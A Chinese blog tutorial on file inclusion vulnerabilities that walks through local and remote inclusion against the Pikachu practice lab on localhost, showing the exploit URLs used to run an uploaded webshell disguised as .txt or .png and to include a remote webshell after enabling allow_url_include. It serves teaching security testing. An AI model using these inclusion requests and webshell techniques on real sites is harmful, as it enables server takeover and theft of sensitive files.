文件包含漏洞

概述:

文件包含有本地文件包含(loacl) 和 **远程文件包含(remote)**两种

**本地文件包含:**文件上传本地后通过文件包含漏洞直接解析

**远程文件包含:**远程请求服务(公网)

**概括:**文件包含漏洞其实就是开发语言内置了文件包含函数,有的文件包含的代码被设置成了通过前端传入的变量,在网站没有做充分的安全校验下,攻击者可以读取服务器敏感文件、在日志写入getshell通过文件包含访问,配合文件上传等(访问即被解析)

现在用pikachu演示(PHP5.5)

本地文件包含:

用1.txt表示我已经上传的木马,现在用文件包含访问解析:

复制代码
http://127.0.0.1/pikachu-master/vul/fileinclude/fi_local.php?filename=1.txt&submit=%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2

将1.txt后缀改为1.png

复制代码
http://127.0.0.1/pikachu-master/vul/fileinclude/fi_local.php?filename=1.png&submit=%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2

后缀改为php

复制代码
http://127.0.0.1/pikachu-master/vul/fileinclude/fi_local.php?filename=1.php&submit=提交查询

远程文件包含:

首先将php.ini的allow_url_include改为ON

在phpstuduy(模拟远程)放一个一句话木马然后通过远程文件包含访问

上传我写的一句话木马,访问:

复制代码
http://127.0.0.1/pikachu-master/vul/fileinclude/fi_remote.php?filename=http://127.0.0.1/pikachu-master/info.php&submit=%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2
相关推荐
jimmyleeee7 小时前
大模型安全之五十一:OWASP LLM Top 10 全景解读
人工智能·安全
二级小助手7 小时前
网安自学记录 Day3:文件包含(LFI)伪协议与文件上传绕过打靶笔记
文件包含·webshell·文件上传漏洞·网安自学·寻币打靶笔记
La Pulga11 小时前
【FreeRTOS源码学习笔记】任务延时列表
笔记·mcu·学习·嵌入式·freertos·实时操作系统
武天旭13 小时前
AI安全--AI大模型的对抗样本攻击与防御解析
人工智能·深度学习·安全·机器学习
Peter-OK16 小时前
PostgreSQL学习笔记(入门-进阶-精通说明)
笔记·学习·postgresql
成都蜀味缘餐饮技术培训学校17 小时前
手撕烤兔技术培训实战指南,秘制腌料配方比例与调制手法
大数据·经验分享·笔记·其他·微信公众平台
希和202719 小时前
免费AI视频生成工具汇总(国内优先,适合做漫剧、短视频,Obsidian笔记版)
人工智能·笔记·音视频
蒸蒸yyyyzwd20 小时前
秋招学习笔记 day109
笔记·八股
不庸.21 小时前
theHarvester 入门教程:从装好到看懂输出
安全·web安全·网络安全·开源·安全性测试
严肃小白兔21 小时前
Cloudflare 更新 API Token 管理:从最小权限到自动化凭据安全
网络·安全·自动化